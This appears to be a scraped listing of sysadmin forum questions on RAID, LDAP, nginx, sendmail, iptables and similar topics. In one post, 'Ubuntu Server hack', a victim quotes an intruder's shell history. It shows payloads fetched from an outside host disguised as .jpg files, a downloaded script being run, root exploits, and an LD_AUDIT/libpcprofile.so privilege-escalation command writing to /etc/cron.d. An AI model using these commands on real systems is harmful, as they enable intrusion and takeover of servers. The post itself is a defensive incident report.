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  • How to get an inactive RAID device working again?

    - by Jonik
    After booting, my RAID1 device (/dev/md_d0 *) sometimes goes in some funny state and I cannot mount it. * Originally I created /dev/md0 but it has somehow changed itself into /dev/md_d0. # mount /opt mount: wrong fs type, bad option, bad superblock on /dev/md_d0, missing codepage or helper program, or other error (could this be the IDE device where you in fact use ide-scsi so that sr0 or sda or so is needed?) In some cases useful info is found in syslog - try dmesg | tail or so The RAID device appears to be inactive somehow: # cat /proc/mdstat Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [raid10] md_d0 : inactive sda4[0](S) 241095104 blocks # mdadm --detail /dev/md_d0 mdadm: md device /dev/md_d0 does not appear to be active. Question is, how to make active the device again (using mdmadm, I presume)? (Other times it's alright (active) after boot, and I can mount it manually without problems. But it still won't mount automatically even though I have it in /etc/fstab: /dev/md_d0 /opt ext4 defaults 0 0 So a bonus question: what should I do to make the RAID device automatically mount at /opt at boot time?) This is an Ubuntu 9.10 workstation. Background info about my RAID setup in this question.

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  • Is there a way to HIDE a file/dir from a specific user/group?

    - by Iraklis
    I'm setting up ACL permissions in CENTOS. I'm getting close to the structure that I have in mind however one piece is missing for completing the puzzle. Is there any way to HIDE a file/directory from a specific user/group? I'm not talking about not being able to read, change dir to it. I want to completely hide it from the specific user/group (not to show up on ls -la).

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  • refresh screen rate ubuntu

    - by user24224
    Hello all I am having problems with the refresh rate if the screen . In the the refresh mode of the monitor in the monitor options have only one option 60Hz. I have LG 24 + ATI Radon 3870. And already installed the ati driver via ubuntu download centre. Any idea how i solve that one ? Thanks.

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  • How to re-add a RAID-10 failed drive on Ubuntu?

    - by thiesdiggity
    I have a problem that I can't seem to solve. We have a Ubuntu server setup with RAID-10 and two of the drives dropped out of the array. When I try to re-add them using the following command: mdadm --manage --re-add /dev/md2 /dev/sdc1 I get the following error message: mdadm: Cannot open /dev/sdc1: Device or resource busy When I do a "cat /proc/mdstat" I get the following: Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [r$ md2 : active raid10 sdb1[0] sdd1[3] 1953519872 blocks 64K chunks 2 near-copies [4/2] [U__U] md1 : active raid1 sda2[0] sdc2[1] 468853696 blocks [2/2] [UU] md0 : active raid1 sda1[0] sdc1[1] 19530688 blocks [2/2] [UU] unused devices: <none> When I run "/sbin/mdadm --detail /dev/md2" I get the following: /dev/md2: Version : 00.90 Creation Time : Mon Sep 5 23:41:13 2011 Raid Level : raid10 Array Size : 1953519872 (1863.02 GiB 2000.40 GB) Used Dev Size : 976759936 (931.51 GiB 1000.20 GB) Raid Devices : 4 Total Devices : 2 Preferred Minor : 2 Persistence : Superblock is persistent Update Time : Thu Oct 25 09:25:08 2012 State : active, degraded Active Devices : 2 Working Devices : 2 Failed Devices : 0 Spare Devices : 0 Layout : near=2, far=1 Chunk Size : 64K UUID : c6d87d27:aeefcb2e:d4453e2e:0b7266cb Events : 0.6688691 Number Major Minor RaidDevice State 0 8 17 0 active sync /dev/sdb1 1 0 0 1 removed 2 0 0 2 removed 3 8 49 3 active sync /dev/sdd1 Output of df -h is: Filesystem Size Used Avail Use% Mounted on /dev/md1 441G 2.0G 416G 1% / none 32G 236K 32G 1% /dev tmpfs 32G 0 32G 0% /dev/shm none 32G 112K 32G 1% /var/run none 32G 0 32G 0% /var/lock none 32G 0 32G 0% /lib/init/rw tmpfs 64G 215M 63G 1% /mnt/vmware none 441G 2.0G 416G 1% /var/lib/ureadahead/debugfs /dev/mapper/RAID10VG-RAID10LV 1.8T 139G 1.6T 8% /mnt/RAID10 When I do a "fdisk -l" I can see all the drives needed for the RAID-10. The RAID-10 is part of the /dev/mapper, could that be the reason why the device is coming back as busy? Anyone have any suggestions on what I can try to get the drives back into the array? Any help would be greatly appreciated. Thanks!

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  • OpenLDAP ACLs are not working

    - by Dr I
    First things first, I'm currently working with an OpenLDAP: slapd 2.4.36 on a Fedora release 19 (Schrödinger’s Cat). I've just install the openldap with yum and my configuration is the following one: ##### OpenLDAP Default configuration ##### # ##### OpenLDAP CORE CONFIGURATION ##### include /etc/openldap/schema/core.schema include /etc/openldap/schema/cosine.schema include /etc/openldap/schema/inetorgperson.schema include /etc/openldap/schema/nis.schema pidfile /var/lib/ldap/slapd.pid loglevel trace ##### Default Schema ##### database mdb directory /var/lib/ldap/ maxsize 1073741824 suffix "dc=domain,dc=tld" rootdn "cn=root,dc=domain,dc=tld" rootpw {SSHA}SECRETP@SSWORD ##### Default ACL ##### access to attrs=userpassword by self write by group.exact="cn=administrators,ou=builtin,ou=groups,dc=domain,dc=tld" write by anonymous auth by * none I launch my OpenLDAP service using: /usr/sbin/slapd -u ldap -h ldapi:/// ldap:/// -f /etc/openldap/slapd.conf As you can see it's a pretty simple ACL which aim to allow access to the userPassword attribute to a specific group read only, then to the owner read and write to anonymous requiring auth and refuse the access to everyone else. The problem is: Even using a valid user with correct password my ldapsearch ends with zero informations retrieved from the directory, plus I've got a strange response on the result line. # search result search: 2 result: 32 No such object # numResponses: 1 here is the ldapsearch request: ldapsearch -H ldap.domain.tld -W -b dc=domain,dc=tld -s sub -D cn=user,ou=service,ou=employees,ou=users,dc=domain,dc=tld I did not specify any filter as I want to check that ldapsearch is correctly printing only allowed attribute.

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  • .htaccess to nginx rewite

    - by Deepak
    please help me with changing this .htaccess to rginx rewite RewriteRule ^show.php/(.*)$ show2.php?img=$1 [L] RewriteRule ^out.php/([a-z]{1})(.*)$ out2.php?$1=$2&%{QUERY_STRING} [L] RewriteRule ^view.php/(.)$ view2.php?img=$1 [L] RewriteRule ^images.php/([a-z]{1})(.)$ images2.php?$1=$2&%{QUERY_STRING} [L] RewriteRule ^gallery/([0-9]+)-([^/])/(.)$ gallery.php?gal=$1&img=$3 [L] RewriteRule ^view/([0-9]+)-([^/])/(.)$ gallery_body.php?gal=$1&img=$3 [L]

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  • Connect a ssd externally such that hdparm is fully supported

    - by student
    I am just trying some hdparm magic with my new ssd (samsung 840 pro). However I don't want to change my drive over and over so it would be great if I could connect it externally to my laptop. I have a cheap sata-usb Adapter, but I feel it doesn't support the ATA commands send by hdparm. So what's the best way to do this? Are there sata-usb Adapters which fully support the hdparm things? Would it be a good idea to buy a sata-esata adapter to get full control over the drive?

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  • In Cent os 6.2 can i update Kernel version to 3.4 ? if so how to upgrade kernel?

    - by shiva
    Hi, I have a server with Centos 6.2 with Kernel version 2.6 , but i need to increase my application Performance. The Kernel Version 3.4 has x32abi which can improve the performance so i want to upgrade to 3.4 ? Is it possible? I tried 1) downloading kernel compiling and installing but still i see the same Kernel version.. What went wrong? i followed the process in mentioned in the below link.. http://www.tecmint.com/kernel-3-5-released-install-compile-in-redhat-centos-and-fedora/

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  • Escaping query strings with wget --mirror

    - by Jeremy Banks
    I'm using wget --mirror --html-extension --convert-links to mirror a site, but I end up with lots of filenames in the format post.php?id=#.html. When I try to view these in a browser it fails, because the browser ignores the query string when loading the file. Is there any way to replace the ? character in the filenames with something else? The answer of --restrict-file-names=windows worked correctly. In conjunction with the flags --convert-links and --adjust-extension/-E (formerly named --html-extension, which also works but is deprecated) it produces a mirror that behaves as expected. wget --mirror --adjust-extension --convert-links --restrict-file-names=windows http://www.example

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  • How do you apply development practices like version control, testing and continuous integration/deployment to system administration?

    - by arex1337
    Imagine you're going to manage a number of servers with a number of different services that's used by a number of people. Now say you want to reconfigure or replace some software on one of those servers. Obviously you don't want to work on servers that are in production. If this was a code change, as a developer, I would make the change on my local development machine, test it locally and commit the change to a version control system. The changes could then be deployed in a staging environment, tested further and finally deployed in a production environment. It would also be easy for me to roll back, if necessary. Generally, or specifically, how do you achieve this in system administration? (The first thing that comes to mind is to use virtual machines and put virtual machine images in version control, but I'm sure there is a lot of literature and clever solutions I'm not presently aware of.)

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  • How to report a bug against Ubuntu's upgrade process?

    - by Kim
    I just upgraded to lucid and discovered a nasty bug. It prevents the system from booting and took me hours to resolve. Now I'd like to report it along with the workaround I found. The only problem is: Where? Other such bugs have been filed against "update-manager", but that's just the GUI calling some scripts which do the real work. so what do I do? What should I substitute for XYZ in ubuntu-bug XYZ ?

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  • Removing DS_Store files and variants?

    - by Ron Gejman
    I am running an Ubuntu 10.04.1 LTS server. Frequently I open up files using AFP from my Mac. Inevitably this created .DS_Store files on the server (although for some reason they are named :2eDS_Store. However, it also creates variants on DS_Store files. These variants are often named similarly to other files in that directory. E.g.: ~$ ls total 60K -rw-r--r-- 1 tarakhovsky 16K 2010-11-30 18:28 :2eDS_Store drwx--S--- 4 tarakhovsky 4.0K 2010-11-08 13:58 :2eTemporaryItems/ lrwxrwxrwx 1 tarakhovsky 15 2010-10-19 17:44 bigdisk -> /media/bigdisk// ... drwxr-xr-x 3 tarakhovsky 4.0K 2010-11-03 18:24 Temporary Items/ drwxr-xr-x 3 tarakhovsky 4.0K 2010-11-30 01:34 tmp/ ... I've disabled creation of DS_Store files using: defaults write com.apple.desktopservices DSDontWriteNetworkStores true so hopefully this won't continue to occur—but I really want to get rid of all of the existing variants of DS_Store files already on the server. Any ideas as to why these variants are being created and how I can get rid of them all?

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  • Recommended way to restrict Apache users

    - by Dor
    Following on why should we restrict Apache users, another two questions arises: What is the recommended method of restricting the places Apache users can traverse & read in the file system? What to do against fork bombs and other shell scripting problems? (bash scripting is allowed) My possible solutions (I prefer to know which solution you choose and why): chroot OR mod_chroot disable bash OR use Restricted BASH Please offer another solutions if you find appropriate. (perhaps selinux is?) Current status: Users are allowed to executed bash scripts (via PHP for example) suexec is active Apache requested are served with FastCGI for PHP

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  • Not able to apt-get update from terminal, what to do now?

    - by Utkarsh
    Whenever I try to update from terminal, I get this error: root@Utkarsh[utkarsh]#apt-get update Hit http://packages.bosslinux.in anokha Release.gpg Hit http://packages.bosslinux.in anokha Release Hit http://packages.bosslinux.in anokha/contrib Sources Hit http://packages.bosslinux.in anokha/non-free Sources Hit http://packages.bosslinux.in anokha/main Sources Hit http://packages.bosslinux.in anokha/contrib i386 Packages Hit http://packages.bosslinux.in anokha/non-free i386 Packages Hit http://packages.bosslinux.in anokha/main i386 Packages Ign http://packages.bosslinux.in anokha/contrib Translation-en_US Ign http://packages.bosslinux.in anokha/contrib Translation-en Ign http://packages.bosslinux.in anokha/main Translation-en_US Ign http://packages.bosslinux.in anokha/main Translation-en Ign http://packages.bosslinux.in anokha/non-free Translation-en_US Ign http://packages.bosslinux.in anokha/non-free Translation-en Reading package lists... Done W: Duplicate sources.list entry http://packages.bosslinux.in/boss/ anokha/main i386 Packages (/var/lib/apt/lists/packages.bosslinux.in_boss_dists_anokha_main_binary-i386_Packages) W: Duplicate sources.list entry http://packages.bosslinux.in/boss/ anokha/contrib i386 Packages (/var/lib/apt/lists/packages.bosslinux.in_boss_dists_anokha_contrib_binary-i386_Packages) W: Duplicate sources.list entry http://packages.bosslinux.in/boss/ anokha/non-free i386 Packages (/var/lib/apt/lists/packages.bosslinux.in_boss_dists_anokha_non-free_binary-i386_Packages) W: You may want to run apt-get update to correct these problems

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  • Descending list ordered by file modification time

    - by LanceBaynes
    How can I generate a list of files in a directory [for example, "/mnt/hdd/PUB/"] ordered by the files modification time? [in descending order, the oldest modified file is at the lists end] ls -A -lRt would be great: https://pastebin.com/raw.php?i=AzuSVmrJ But if a file is changed in a directory, it lists the full directory, so the pastebined link isn't good [I don't want a list ordered by "directories", I need a "per file" ordered list] OS: OpenWrt [no Perl - not enough space for it :( + no "stat", or "file" command].

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  • infiniband network between 3 servers

    - by grumpf
    Let's say I have 3 different servers, each one with an infiniband card. Each card has 2 different ports. (I don't know about the model yet) Is it possible to create 3 different networks and to allow the 3 servers to communicate with each other without any problems? (and any spof). I guess I just have to setup the /etc/hosts correctly. I really don't know about infiniband, so please help me :) Thanks in advance. EDIT: Point is to NOT USE a switch!

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  • OpenVZ vs KVM for Linux VMs

    - by Eliasdx
    Hardware: Intel® Core™ i7-920, 12 GB DDR3 RAM, 2 x 1500 GB SATA-II HDD (no SoftRaid because Proxmox developers don't support softraid and they are sure you'll run into problems) Software: Proxmox VE with KVM and OpenVZ support and debian everywhere I want to run multiple Linux VMs on this server. One for a firewall (I want to try pfSense), one for MySQL, one VM for nginx (my stuff) and ~2 VMs with nginx for other people's web sites. I don't think that pfSense will run in an OpenVZ environment but it should run in KVM. The question is if I should setup the other VMs using KVM or OpenVZ. In OpenVZ they should have less overhead for the OS itself but I don't know about the performance. I heard that KVM is more stable but needs more RAM and CPU. I found this diagram showing a OpenVZ setup on the same hardware I'm using. This guy uses an own VM for each and every website which is running on his server. I can't think of any advantage why he's using so many VMs.

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  • Sendmail Tuning For Batch Mail Jobs

    - by Kyle Brandt
    I have a webservers that send out emails to a sendmail relay server as a batch job. The emails need to be accepted by the relay sendmail server as fast as possible, however, they do not need to go out (be relayed) very quickly. I am seeing a couple timeouts once and a while from the webserver trying to connect to the relay server. The load currently is about 30 emails a second for a couple minutes. There are quite a few tuning options for sendmail in the sendmail tuning guide. What I am focusing on now is the Delivery Mode: Delivery Mode There are a number of delivery modes that sendmail can operate in, set by the DeliveryMode ( d) configuration option. These modes specify how quickly mail will be delivered. Legal modes are: i deliver interactively (synchronously) b deliver in background (asynchronously) q queue only (don't deliver) d defer delivery attempts (don't deliver) There are tradeoffs. Mode i gives the sender the quickest feedback, but may slow down some mailers and is hardly ever necessary. Mode b delivers promptly but can cause large numbers of processes if you have a mailer that takes a long time to deliver a message. Mode q minimizes the load on your machine, but means that delivery may be delayed for up to the queue interval. Mode d is identical to mode q except that it also prevents lookups in maps including the -D flag from working during the initial queue phase; it is intended for ``dial on demand'' sites where DNS lookups might cost real money. Some simple error messages (e.g., host unknown during the SMTP protocol) will be delayed using this mode. Mode b is the usual default. If you run in mode q (queue only), d (defer), or b (deliver in background) sendmail will not expand aliases and follow .forward files upon initial receipt of the mail. This speeds up the response to RCPT commands. Mode i should not be used by the SMTP server. I currently have the CentOS default modes: Sendmail.cf: DeliveryMode=background Submit.cf: DeliveryMode=i Is sendmail.cf/mc for outgoing email from relay (to the intertubes) and sumbit.cf/mc for incoming eamil (from my webservers). Would it make sense to change the outgoing delivery mode to queue? If I did, what would the outbound email flow behave like? If this is the right thing to do, can anyone show me example mc configurations for this change? If it isn't, what recommendations are there for these constraints?

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  • Using sed, how can I delete all blank lines?

    - by Steve
    Using sed, how can I delete all blank lines? Input file: Steve Blenheim:238-923-7366:95 Latham Lane, Easton, PA 83755:11/12/56:20300 Betty Boop:245-836-8357:635 Cutesy Lane, Hollywood, CA 91464:6/23/23:14500 Igor Chevsky:385-375-8395:3567 Populus Place, Caldwell, NJ 23875:6/18/68:23400 Norma Corder:397-857-2735:74 Pine Street, Dearborn, MI 23874:3/28/45:245500 Jennifer Cowan:548-834-2348:583 Laurel Ave., Kingsville, TX 83745:10/1/35:58900

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  • Ubuntu Server hack

    - by haxpanel
    Hi! I looked at netstat and I noticed that someone besides me is connected to the server by ssh. I looked after this because my user has the only one ssh access. I found this in an ftp user .bash_history file: w uname -a ls -a sudo su wget qiss.ucoz.de/2010/.jpg wget qiss.ucoz.de/2010.jpg tar xzvf 2010.jpg rm -rf 2010.jpg cd 2010/ ls -a ./2010 ./2010x64 ./2.6.31 uname -a ls -a ./2.6.37-rc2 python rh2010.py cd .. ls -a rm -rf 2010/ ls -a wget qiss.ucoz.de/ubuntu2010_2.jpg tar xzvf ubuntu2010_2.jpg rm -rf ubuntu2010_2.jpg ./ubuntu2010-2 ./ubuntu2010-2 ./ubuntu2010-2 cat /etc/issue umask 0 dpkg -S /lib/libpcprofile.so ls -l /lib/libpcprofile.so LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping ping gcc touch a.sh nano a.sh vi a.sh vim wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh nano ubuntu10.sh ls -a rm -rf ubuntu10.sh . .. a.sh .cache ubuntu10.sh ubuntu2010-2 ls -a wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh ls -a rm -rf ubuntu10.sh wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe rm -rf W2Ksp3.exe passwd The system is in a jail. Does it matter in the current case? What shall i do? Thanks for everyone!! I have done these: - ban the connected ssh host with iptables - stoped the sshd in the jail - saved: bach_history, syslog, dmesg, files in the bash_history's wget lines

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  • Why is my apache2, mod_fcgid, php configuration causing 100% cpu usage?

    - by Scott Lundgren
    Page load makes a quick initial connection, then hangs about 10 seconds before the page renders. When the server load goes up I start watching top & I see that both CPUs get pegged at times to 100% by between 4-8 processes of php-cgi. My theory is that since I never see RAM usage never go above 50%, that apache is able to handle the requests coming in, but is queueing them for PHP to process. What is wrong with my mod_fcgid/php configuration ? RHEL 5.4 2 Xeon E5420s @ 2.50 Ghz 4 Gb RAM Apache 2.2.3 Timeout 30 KeepAlive On MaxKeepAliveRequests 0 KeepAliveTimeout 5 <IfModule worker.c> StartServers 2 MaxClients 300 MinSpareThreads 25 MaxSpareThreads 75 ThreadsPerChild 25 MaxRequestsPerChild 0 </IfModule> mod_fcgid 2.2.10 LoadModule fcgid_module modules/mod_fcgid.so <IfModule !mod_fastcgi.c> AddHandler fcgid-script fcg fcgi fpl php </IfModule> SocketPath run/mod_fcgid SharememPath run/mod_fcgid/fcgid_shm DefaultInitEnv PHPRC "/etc/" FCGIWrapper /usr/bin/php-cgi .php MaxRequestsPerProcess 1500 MaxProcessCount 20 IPCCommTimeout 240 IdleTimeout 240 APC 3.0.19 extension = apc.so apc.enabled=1 apc.shm_segments=1 apc.optimization=0 apc.shm_size=32 apc.ttl=7200 APC cache is 43% used with a 99% hit rate

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  • iptables to block VPN-traffic if not through tun0

    - by dacrow
    I have a dedicated Webserver running Debian 6 and some Apache, Tomcat, Asterisk and Mail-stuff. Now we needed to add VPN support for a special program. We installed OpenVPN and registered with a VPN provider. The connection works well and we have a virtual tun0 interface for tunneling. To archive the goal for only tunneling a single program through VPN, we start the program with sudo -u username -g groupname command and added a iptables rule to mark all traffic coming from groupname iptables -t mangle -A OUTPUT -m owner --gid-owner groupname -j MARK --set-mark 42 Afterwards we tell iptables to to some SNAT and tell ip route to use special routing table for marked traffic packets. Problem: if the VPN failes, there is a chance that the special to-be-tunneled program communicates over the normal eth0 interface. Desired solution: All marked traffic should not be allowed to go directly through eth0, it has to go through tun0 first. I tried the following commands which didn't work: iptables -A OUTPUT -m owner --gid-owner groupname ! -o tun0 -j REJECT iptables -A OUTPUT -m owner --gid-owner groupname -o eth0 -j REJECT It might be the problem, that the above iptable-rules didn't work due to the fact, that the packets are first marked, then put into tun0 and then transmitted by eth0 while they are still marked.. I don't know how to de-mark them after in tun0 or to tell iptables, that all marked packet may pass eth0, if they where in tun0 before or if they going to the gateway of my VPN provider. Does someone has any idea to a solution? Some config infos: iptables -nL -v --line-numbers -t mangle Chain OUTPUT (policy ACCEPT 11M packets, 9798M bytes) num pkts bytes target prot opt in out source destination 1 591K 50M MARK all -- * * 0.0.0.0/0 0.0.0.0/0 owner GID match 1005 MARK set 0x2a 2 82812 6938K CONNMARK all -- * * 0.0.0.0/0 0.0.0.0/0 owner GID match 1005 CONNMARK save iptables -nL -v --line-numbers -t nat Chain POSTROUTING (policy ACCEPT 393 packets, 23908 bytes) num pkts bytes target prot opt in out source destination 1 15 1052 SNAT all -- * tun0 0.0.0.0/0 0.0.0.0/0 mark match 0x2a to:VPN_IP ip rule add from all fwmark 42 lookup 42 ip route show table 42 default via VPN_IP dev tun0

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